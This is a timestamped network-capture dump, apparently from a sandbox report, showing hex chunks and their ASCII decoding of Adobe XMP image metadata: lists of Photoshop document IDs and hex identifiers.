3c 72 64 66 3a 6c 69 3e 37 37 36 33 31 45 33 34 39 44 32 41 33 31 36 35 42 36 37 35 30 35 41 30 41 34 41 34 41 37 33 
32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 36 33 42 32 36 42 34 30 38 34 32 41 31 31 31 33 46 44 3
1 38 30 30 35 42 44 36 33 38 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 36 39 43 43 45 33 32 42 
42 43 32 35 41 43 30 42 39 30 45 44 35 30 42 43 42 45 44 31 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 37 37 36 43 35 38 34 31 43 33 46 34 41 31 42 41 42 41 32 37 46 35 
Data Ascii: 3617B0FC04732DD</rdf:li> <rdf:li>774ED2A163F1ECD6BB7C233FFA640C6B</rdf:li> <rdf:li>77631
E349D2A3165B67505A0A4A4A732</rdf:li> <rdf:li>7763B26B40842A1113FD18005BD638F7</rdf:li> <rdf:li>7769C
CE32BBC25AC0B90ED50BCBED105</rdf:li> <rdf:li>776C5841C3F4A1BABA27F5

2022-05-13 14:42:07 UTC 5479 IN Data Raw: 35 32 37 41 43 31 32 46 31 31 31 39 31 45 33 33 30 37 43 31 32 43 41 46 34 33 41 31 39 34 41 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 32 41 33 35 30 36 33 46 38 36 31 46 39 30 38 41 46 31 42 31 32 34 41 33 
37 38 34 43 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 32 41 37 34 39 31 42 34 39 37 42 46 37 
35 41 39 46 36 38 32 37 42 45 34 30 36 34 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 34 34 3
4 46 41 45 34 35 43 41 45 31 46 37 37 41 38 39 43 39 43 41 33 37 31 36 41 33 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 38 35 34 34 41 37 31 34 42 33 38 38 39 35 35 37 33 30 45 33 30 34 37 41 37 46 34 38 45 46 35 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 34 37 37 46 
Data Ascii: 527AC12F11191E3307C12CAF43A194A</rdf:li> <rdf:li>852A35063F861F908AF1B124A3784CFD</rdf:li> 
<rdf:li>852A7491B497BF75A9F6827BE406475E</rdf:li> <rdf:li>85444FAE45CAE1F77A89C9CA3716A37A</rdf:li> <rdf:li
>8544A714B388955730E3047A7F48EF50</rdf:li> <rdf:li>85477F

2022-05-13 14:42:07 UTC 5495 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 44 36 31 43 30 31 41 38 37 44 34 39 33 46 38 35 38 34 
43 39 31 42 46 36 46 39 31 39 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 44 41 43 31 33 35 46 
42 42 35 41 44 38 32 44 34 39 30 46 35 36 32 39 34 34 34 35 45 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 39 32 45 35 34 33 30 44 37 45 41 38 36 34 33 43 31 35 45 31 36 43 46 31 38 31 43 30 46 41 31 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 33 30 42 37 35 43 30 32 33 43 42 33 46 45 45 45 35 33 43 41 36 32 31 46 41 
37 44 33 42 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 33 34 34 39 42 32 45 35 44 35 30 46 30 41 
35 35 46 39 43 38 42 41 37 44 36 36 43 34 44 39 45 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>92D61C01A87D493F8584C91BF6F91913</rdf:li> <rdf:li>92DAC135FBB5AD82D490F56
294445EB0</rdf:li> <rdf:li>92E5430D7EA8643C15E16CF181C0FA13</rdf:li> <rdf:li>930B75C023CB3FEEE53CA62
1FA7D3B86</rdf:li> <rdf:li>93449B2E5D50F0A55F9C8BA7D66C4D9E</rdf:li

2022-05-13 14:42:07 UTC 5527 IN Data Raw: 45 37 39 37 33 37 41 34 32 45 33 35 32 43 30 32 32 34 36 37 42 31 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 39 39 37 46 44 30 44 41 32 35 34 43 46 43 44 46 41 35 31 30 38 34 37 39 42 31 31 32 42 45 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 41 32 30 41 33 38 41 35 42 41 38 41 42 45 46 36 30 38 46 42 
36 34 37 36 33 33 30 39 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 43 38 44 39 31 39 46 33 42 4
5 30 43 42 41 38 30 44 32 44 43 31 33 33 34 30 35 46 31 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 
39 44 34 32 43 41 41 33 37 31 37 44 42 36 44 43 34 39 30 39 31 35 46 31 43 36 33 42 45 46 46 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 39 39 44 38 32 41 36 33 31 30 36 33 38 
Data Ascii: E79737A42E352C022467B199</rdf:li> <rdf:li>9997FD0DA254CFCDFA5108479B112BEA</rdf:li> <rdf
:li>99A20A38A5BA8ABEF608FB647633094C</rdf:li> <rdf:li>99C8D919F3BE0CBA80D2DC133405F105</rdf:li> <rdf
:li>99D42CAA3717DB6DC490915F1C63BEFF</rdf:li> <rdf:li>99D82A6310638

2022-05-13 14:42:07 UTC 5543 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 41 36 44 31 30 45 38 30 38 43 45 45 35 34 36 35 33 44 30 43 42 43 42 36 31 44 32 
39 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 44 32 43 44 37 44 44 42 42 36 46 44 46 31 
30 32 34 31 42 41 32 30 36 31 42 34 46 43 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 44 35 30 3
5 39 38 33 31 46 34 34 42 33 38 41 32 39 34 44 30 41 45 30 44 38 39 33 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 41 36 44 36 45 37 41 46 42 31 31 46 31 37 45 34 36 32 44 35 41 30 38 32 41 38 46 44 36 46 39 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 44 39 33 42 36 31 46 43 46 43 45 30 41 33 44 42 39 34 37 31 
41 39 46 44 31 37 46 32 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>A6D10E808CEE54653D0CBCB61D29BE55</rdf:li> <rdf:li>A6D2CD7DDBB6FDF10241BA2061B4FC
DC</rdf:li> <rdf:li>A6D5059831F44B38A294D0AE0D893392</rdf:li> <rdf:li>A6D6E7AFB11F17E462D5A082A8FD6F
91</rdf:li> <rdf:li>A6D93B61FCFCE0A3DB9471A9FD17F216</rdf:li> <rdf:
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2022-05-13 14:42:07 UTC 5583 IN Data Raw: 33 39 38 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 38 46 43 43 34 33 31 39 31 
46 36 43 31 39 36 44 32 33 44 42 36 42 44 41 44 32 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 
34 37 41 41 32 36 31 42 35 30 36 43 41 31 46 43 38 35 38 34 31 39 32 30 44 44 32 36 36 39 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 42 34 38 34 45 30 43 36 39 35 44 46 35 43 31 38 46 39 38 43 46 41 45 36 42 46 39 44 43 
31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 39 36 38 44 42 37 45 44 45 33 41 41 42 33 39 31 
33 34 38 39 43 39 44 35 36 39 37 39 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 41 33 31 39 31 
37 39 42 34 44 39 46 37 33 37 45 33 42 39 41 42 38 42 33 45 36 34 33 35 
Data Ascii: 398588</rdf:li> <rdf:li>B468FCC43191F6C196D23DB6BDAD2B14</rdf:li> <rdf:li>B47AA261B506CA
1FC85841920DD26696</rdf:li> <rdf:li>B484E0C695DF5C18F98CFAE6BF9DC13A</rdf:li> <rdf:li>B4968DB7EDE3AA
B3913489C9D569793F</rdf:li> <rdf:li>B4A319179B4D9F737E3B9AB8B3E6435

2022-05-13 14:42:07 UTC 5590 IN Data Raw: 46 46 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 46 35 35 34 36 42 38 30 32 37 33 42 
32 30 41 45 46 41 32 42 35 43 42 34 39 42 31 31 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 30 
41 34 44 46 45 44 30 45 36 31 34 38 35 32 37 42 42 33 41 39 32 30 32 32 45 35 46 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 42 42 31 33 39 44 39 32 41 37 33 34 33 39 45 43 38 42 46 43 30 46 31 46 34 42 33 31 30 37 38 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 32 39 42 35 46 33 46 45 32 32 45 36 32 35 33 36 34 30 
34 39 32 41 30 43 43 33 43 41 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 32 45 35 37 38 43 43 
44 39 45 43 34 42 31 33 44 31 41 41 36 34 33 43 38 44 45 46 44 33 36 3c 
Data Ascii: FF80</rdf:li> <rdf:li>BAF5546B80273B20AEFA2B5CB49B1140</rdf:li> <rdf:li>BB0A4DFED0E61485
27BB3A92022E5F40</rdf:li> <rdf:li>BB139D92A73439EC8BFC0F1F4B310783</rdf:li> <rdf:li>BB29B5F3FE22E625
3640492A0CC3CAF7</rdf:li> <rdf:li>BB2E578CCD9EC4B13D1AA643C8DEFD36<

2022-05-13 14:42:07 UTC 5622 IN Data Raw: 33 36 32 37 45 44 35 37 42 38 45 35 39 34 45 41 30 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 43 38 44 32 35 43 41 42 31 43 44 33 31 44 45 45 32 41 37 37 32 39 36 39 41 30 43 31 32 36 34 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 45 32 33 31 39 30 42 42 42 31 38 32 38 35 37 31 41 39 43 39 35 30 37 42 
43 36 34 30 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 38 42 45 43 43 33 43 33 44 33 30 31 3
7 35 44 38 31 46 33 45 43 39 36 34 34 31 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 41 43 
34 36 41 44 32 36 43 45 32 33 42 35 32 37 45 33 38 41 41 42 46 43 43 32 45 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 43 39 30 45 34 38 42 45 42 31 42 39 43 44 37 33 41 
Data Ascii: 3627ED57B8E594EA0B39</rdf:li> <rdf:li>C8D25CAB1CD31DEE2A772969A0C1264E</rdf:li> <rdf:li>
C8E23190BBB1828571A9C9507BC640F1</rdf:li> <rdf:li>C908BECC3C3D30175D81F3EC96441936</rdf:li> <rdf:li>
C90AC46AD26CE23B527E38AABFCC2E98</rdf:li> <rdf:li>C90E48BEB1B9CD73A

2022-05-13 14:42:07 UTC 5638 IN Data Raw: 33 44 42 44 32 39 32 37 41 34 37 37 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 
44 43 38 46 37 39 33 38 38 41 31 42 32 34 30 36 41 33 41 45 35 33 35 31 36 43 45 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 44 35 46 33 45 43 38 30 37 38 36 33 46 42 36 44 36 37 34 31 46 32 30 38 44 39 36 35 31 30 33 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 37 44 45 41 36 45 42 42 36 46 38 31 31 35 31 35 33 3
9 36 33 39 30 36 36 34 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 38 30 39 35 36 35 36 
46 39 32 34 37 33 46 38 43 37 35 31 37 42 32 44 33 33 46 37 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 44 35 46 38 43 35 42 38 33 32 41 41 37 36 44 39 30 35 32 43 41 37 
Data Ascii: 3DBD2927A4777CD</rdf:li> <rdf:li>D5EDC8F79388A1B2406A3AE53516CEE2</rdf:li> <rdf:li>D5F3E
C807863FB6D6741F208D9651037</rdf:li> <rdf:li>D5F7DEA6EBB6F811515396390664097D</rdf:li> <rdf:li>D5F80
95656F92473F8C7517B2D33F753</rdf:li> <rdf:li>D5F8C5B832AA76D9052CA7

2022-05-13 14:42:07 UTC 5670 IN Data Raw: 30 34 37 33 35 35 30 32 45 34 33 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 38 44 43 
42 41 37 42 31 38 35 46 42 44 43 43 32 31 34 35 34 38 32 41 36 30 45 35 46 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 44 43 39 35 34 31 31 45 36 37 30 32 30 34 30 46 31 31 45 35 38 43 36 42 38 34 38 32 30 41 46 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 39 39 42 32 41 32 46 36 46 35 38 30 30 46 43 42 39 42 31 34 
46 34 44 31 31 33 46 45 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 42 42 46 33 32 32 46 39 33 
39 35 38 32 31 38 36 33 36 39 37 44 31 43 45 42 33 31 39 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
44 43 43 30 30 34 46 46 38 38 41 37 45 34 38 36 37 36 35 30 41 44 31 34 
Data Ascii: 04735502E4364</rdf:li> <rdf:li>DC8DCBA7B185FBDCC2145482A60E5F22</rdf:li> <rdf:li>DC95411
E6702040F11E58C6B84820AFC</rdf:li> <rdf:li>DC99B2A2F6F5800FCB9B14F4D113FEEC</rdf:li> <rdf:li>DCBBF32
2F9395821863697D1CEB319DC</rdf:li> <rdf:li>DCC004FF88A7E4867650AD14

2022-05-13 14:42:07 UTC 5686 IN Data Raw: 34 30 39 30 45 46 37 42 31 31 32 33 38 33 35 45 43 37 38 45 39 30 37 30 45 42 41 33 38 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 39 39 37 45 35 45 42 46 46 39 34 43 39 39 39 39 42 42 34 38 44 42 32 35 32 44 
38 35 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 41 33 42 42 43 46 41 45 41 30 32 36 36 36 46 
36 43 32 34 42 43 32 39 39 43 38 35 33 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 42 35 33 45 4
4 31 41 42 34 36 46 41 31 38 34 33 37 34 39 34 39 33 35 39 41 37 46 33 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 45 39 42 38 35 35 41 34 39 34 46 31 41 32 44 44 42 38 34 36 44 35 31 45 35 36 35 43 30 30 41 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 45 46 37 34 37 46 
Data Ascii: 4090EF7B1123835EC78E9070EBA38</rdf:li> <rdf:li>E9997E5EBFF94C9999BB48DB252D853B</rdf:li> 
<rdf:li>E9A3BBCFAEA02666F6C24BC299C8537B</rdf:li> <rdf:li>E9B53ED1AB46FA184374949359A7F34E</rdf:li> 
<rdf:li>E9B855A494F1A2DDB846D51E565C00AF</rdf:li> <rdf:li>E9EF747F

2022-05-13 14:42:07 UTC 5702 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 35 46 45 32 36 43 38 32 45 41 34 45 39 31 35 37 30 45 30 38 
39 38 32 45 33 36 34 42 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 36 39 39 33 35 31 45 31 30 
41 45 31 34 32 44 46 45 37 43 37 39 32 41 31 37 33 39 37 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 4
6 35 36 43 32 37 41 44 35 32 32 42 43 35 35 46 30 45 44 34 32 44 43 39 38 39 31 44 43 31 45 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 46 35 36 44 37 44 36 30 36 37 46 36 44 30 38 30 37 32 36 41 38 39 37 42 43 35 39 30 39 
41 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 36 45 33 46 31 46 42 43 44 34 37 34 41 35 36 36 
35 32 46 37 43 35 31 31 38 41 35 34 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>F55FE26C82EA4E91570E08982E364B8F</rdf:li> <rdf:li>F5699351E10AE142DFE7C792A
17397CE</rdf:li> <rdf:li>F56C27AD522BC55F0ED42DC9891DC1ED</rdf:li> <rdf:li>F56D7D6067F6D080726A897BC
5909A59</rdf:li> <rdf:li>F56E3F1FBCD474A56652F7C5118A5464</rdf:li> 

2022-05-13 14:42:07 UTC 5710 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 36 38 38 32 35 34 32 33 31 39 46 30 30 43 32 34 35 39 38 34 34 
43 35 33 32 35 31 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 39 38 44 46 38 44 45 35 33 45 
33 34 30 43 44 34 33 42 32 39 43 38 34 37 44 33 38 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 4
1 42 45 34 38 32 46 31 45 44 33 45 39 46 30 33 31 39 46 45 35 30 35 41 30 36 41 34 33 41 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 46 42 41 45 37 43 45 37 31 36 34 41 45 34 35 34 44 32 30 30 34 34 39 37 42 34 33 38 36 37 
30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 42 39 31 32 31 39 34 33 31 38 38 31 37 30 32 33 35 
35 34 41 44 35 34 33 36 38 41 45 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: i> <rdf:li>FBA6882542319F00C2459844C532514A</rdf:li> <rdf:li>FBA98DF8DE53E340CD43B29C847
D389A</rdf:li> <rdf:li>FBABE482F1ED3E9F0319FE505A06A43A</rdf:li> <rdf:li>FBAE7CE7164AE454D2004497B43
8670C</rdf:li> <rdf:li>FBB912194318817023554AD54368AED6</rdf:li> <r
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2022-05-13 14:42:07 UTC 5726 IN Data Raw: 73 68 6f 70 3a 32 35 33 33 30 62 62 62 2d 36 61 65 39 2d 31 31 37 38 2d 61 32 33 34 2d 39 30 32 33 31 38 
37 34 63 31 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 32 35 33 34 64 36 65 35 2d 37 34 32 37 2d 31 31 64 65 2d 38 65 30 34 2d 39 63 63 38 65 32 33 64 61 
37 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 32 35 35 38 61 61 35 38 2d 64 33 38 39 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 3
2 35 35 64 33 30 65 36 2d 38 35 39 32 2d 31 31 37 38 2d 62 65 31 
Data Ascii: shop:25330bbb-6ae9-1178-a234-90231874c1c0</rdf:li> <rdf:li>adobe:docid:photoshop:2534d6e5-7427-11de-
8e04-9cc8e23da786</rdf:li> <rdf:li>adobe:docid:photoshop:2558aa58-d389-1178-a20d-af2ef9c197df</rdf:li> <rdf:
li>adobe:docid:photoshop:255d30e6-8592-1178-be1

2022-05-13 14:42:07 UTC 5742 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 35 34 35 65 33 63 63 30 2d 38 64 35 32 2d 31 31 37 38 2d 38 35 37 63 2d 64 36 61 39 66 34 61 38 66 32 39 66 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 34 
63 37 31 64 32 37 2d 38 35 39 32 2d 31 31 37 38 2d 62 65 31 38 2d 63 30 37 34 62 61 33 36 62 30 33 63 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 34 66 66 37 
39 37 63 2d 64 64 38 65 2d 31 31 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
Data Ascii: df:li> <rdf:li>adobe:docid:photoshop:545e3cc0-8d52-1178-857c-d6a9f4a8f29f</rdf:li> <rdf:li>adobe:docid:photo
shop:54c71d27-8592-1178-be18-c074ba36b03c</rdf:li> <rdf:li>adobe:docid:photoshop:54ff797c-dd8e-1177-84db-9f8a8
ccf2c09</rdf:li> <rdf:li>adobe:docid:

2022-05-13 14:42:07 UTC 5765 IN Data Raw: 61 31 2d 31 31 37 38 2d 61 32 35 33 2d 65 62 62 37 38 32 63 31 66 65 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 65 35 32 36 36 30 66 2d 35 35 
33 38 2d 31 31 65 35 2d 39 64 38 62 2d 65 31 38 39 38 32 62 35 34 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 65 36 36 37 66 32 36 2d 38 63 30 34 2d 
30 64 34 64 2d 62 65 37 32 2d 65 38 62 66 38 35 61 64 63 35 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 65 65 62 62 36 36 35 2d 33 35 34 65 2d 31 31 65 
36 2d 62 36 36 65 2d 62 30 36 64 31 64 35 65 37 62 34 33 3c 2f 
Data Ascii: a1-1178-a253-ebb782c1fe21</rdf:li> <rdf:li>adobe:docid:photoshop:6e52660f-5538-11e5-9d8b-e18982b54
200</rdf:li> <rdf:li>adobe:docid:photoshop:6e667f26-8c04-0d4d-be72-e8bf85adc5c2</rdf:li> <rdf:li>adobe:docid:p
hotoshop:6eebb665-354e-11e6-b66e-b06d1d5e7b43</

2022-05-13 14:42:07 UTC 5781 IN Data Raw: 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 65 62 37 63 33 61 32 2d 37 65 66 36 2d 31 
31 37 37 2d 38 34 63 36 2d 62 65 31 65 64 31 31 64 38 38 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 65 65 32 36 34 35 66 2d 62 32 31 35 2d 31 31 64 37 
2d 62 31 31 36 2d 61 34 32 31 39 34 66 61 62 66 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 65 65 65 64 65 36 30 2d 65 65 66 62 2d 31 31 65 36 2d 38 38 
38 37 2d 39 65 61 61 62 30 38 64 37 61 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 6
4 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 66 31 63 32 38 
Data Ascii: dobe:docid:photoshop:9eb7c3a2-7ef6-1177-84c6-be1ed11d888d</rdf:li> <rdf:li>adobe:docid:photoshop:9
ee2645f-b215-11d7-b116-a42194fabfd8</rdf:li> <rdf:li>adobe:docid:photoshop:9eeede60-eefb-11e6-8887-9eaab08d7a5
7</rdf:li> <rdf:li>adobe:docid:photoshop:9f1c28

2022-05-13 14:42:07 UTC 5797 IN Data Raw: 36 63 61 2d 38 31 35 34 35 32 32 32 30 34 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 36 66 61 64 34 66 66 2d 32 65 39 32 2d 31 31 37 38 2d 39 
66 35 30 2d 64 30 63 61 30 39 34 32 63 37 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 37 31 30 33 30 61 30 2d 66 31 64 39 2d 31 31 64 39 2d 61 32 64 37 
2d 66 34 65 30 34 61 31 63 65 62 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 37 31 31 39 35 39 39 2d 63 34 38 34 2d 31 31 37 39 2d 62 32 38 62 2d 38 39 
34 33 64 33 34 37 64 62 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: 6ca-815452220478</rdf:li> <rdf:li>adobe:docid:photoshop:d6fad4ff-2e92-1178-9f50-d0ca0942c7ca</rdf:li> 
<rdf:li>adobe:docid:photoshop:d71030a0-f1d9-11d9-a2d7-f4e04a1ceb40</rdf:li> <rdf:li>adobe:docid:photoshop:
d7119599-c484-1179-b28b-8943d347db71</rdf:li> <

2022-05-13 14:42:07 UTC 5821 IN Data Raw: 6f 74 6f 73 68 6f 70 3a 65 63 30 37 30 63 36 63 2d 32 38 63 62 2d 31 31 64 62 2d 39 36 65 34 2d 61 33 66 33 
65 39 36 62 38 39 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 65 63 35 30 30 65 37 39 2d 61 64 34 31 2d 31 31 65 36 2d 38 30 36 30 2d 63 61 66 37 37 37 34 
63 66 37 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 65 63 63 66 64 38 37 36 2d 66 35 34 35 2d 31 31 64 39 2d 38 65 31 63 2d 64 39 63 32 65 63 63 64 34 38 
33 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 65 64 32 65 38 30 66 66 2d 62 36 61 66 2d 31 31 65 31 2d 
Data Ascii: otoshop:ec070c6c-28cb-11db-96e4-a3f3e96b8990</rdf:li> <rdf:li>adobe:docid:photoshop:ec500e79-ad41-
11e6-8060-caf7774cf755</rdf:li> <rdf:li>adobe:docid:photoshop:eccfd876-f545-11d9-8e1c-d9c2eccd483a</rdf:li> <r
df:li>adobe:docid:photoshop:ed2e80ff-b6af-11e1-

2022-05-13 14:42:07 UTC 5917 IN Data Raw: 31 41 42 41 44 37 36 32 44 45 31 31 39 31 36 36 41 31 34 33 46 44 38 45 36 30 34 30 3c 2f 72 64 66 3a 6c 69 
